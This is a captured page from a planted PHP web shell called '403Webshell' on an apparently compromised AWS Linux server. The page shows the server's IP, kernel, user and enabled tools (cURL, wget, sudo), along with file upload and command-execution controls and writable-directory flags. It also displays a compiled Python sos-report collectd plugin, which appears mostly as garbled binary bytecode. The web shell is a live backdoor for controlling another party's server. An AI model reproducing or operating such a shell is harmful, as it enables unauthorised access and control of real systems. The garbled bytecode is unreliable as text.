403Webshell
Server IP : 65.1.209.187  /  Your IP : 216.73.216.144
Web Server : nginx/1.24.0
System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64
User :  ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/collectd.cpython-312.pyc
�

([Qh���4�ddlZddlmZmZGd�dee�Zy)�N)�Plugin�IndependentPluginc�,�eZdZdZdZdZdZdZd�Zd�Z	y)	�CollectdzCollectd config collector�collectd)�services�	webserver)r)�)/var/log/containers/collectd/collectd.logz/var/log/collectd/collectd.logc��|jgd��tjd�}	|jd�}t	|dd��5}|D]9}|j|�s�|j
d|j�d����;	ddd�y#1swYyxYw#t$r}|jd	|���Yd}~yd}~wwxYw)
N)�/etc/collectd.conf�/etc/collectd.d/*.confr
z@/var/lib/config-data/puppet-generated/collectd/etc/collectd.confzD/var/lib/config-data/puppet-generated/collectd/etc/collectd.d/*.confz
^LoadPlugin.*r�rzUTF-8)�encodingzActive Plugin found: ���z#could not open /etc/collectd.conf: )
�
add_copy_spec�re�compile�	path_join�open�match�	add_alert�split�IOError�	_log_warn)�self�plugin�cfile�file�line�errs      �=/usr/lib/python3/dist-packages/sos/report/plugins/collectd.py�setupzCollectd.setups������
�	����O�,��	H��N�N�#7�8�E��e�S�7�3�
>�t� �>�D��|�|�D�)����'>�*.�*�*�,�r�*:�);�(=�>�>�
>�
>�
>��
�	H��N�N�@���F�G�G��	H�s;�B�	B�!'B�	B�B�B�B�	C�'C�Cc��gd�}ddj|��d�}|jd|d�|jd|d�y)N)�Password�Userz[<]*URL�Addressz
(^[#]*\s*(�|z
)\s* \s*)(.*)r
z
\1"*********"r)�join�do_path_regex_sub�do_file_sub)r�protect_keys�regexps   r!�postproczCollectd.postproc0sP��
���s�x�x��5�6�m�D�����$��$�	
�	
���-�v�7G�H�N)
�__name__�
__module__�__qualname__�
short_desc�plugin_name�profiles�packages�filesr"r-�r.r!rrs+��,�J��K�(�H�
�H�
/�E�H�*Ir.r)r�sos.report.pluginsrrrr7r.r!�<module>r9s��
�8�.I�v�(�.Ir.

Youez - 2016 - github.com/yon3zu
LinuXploit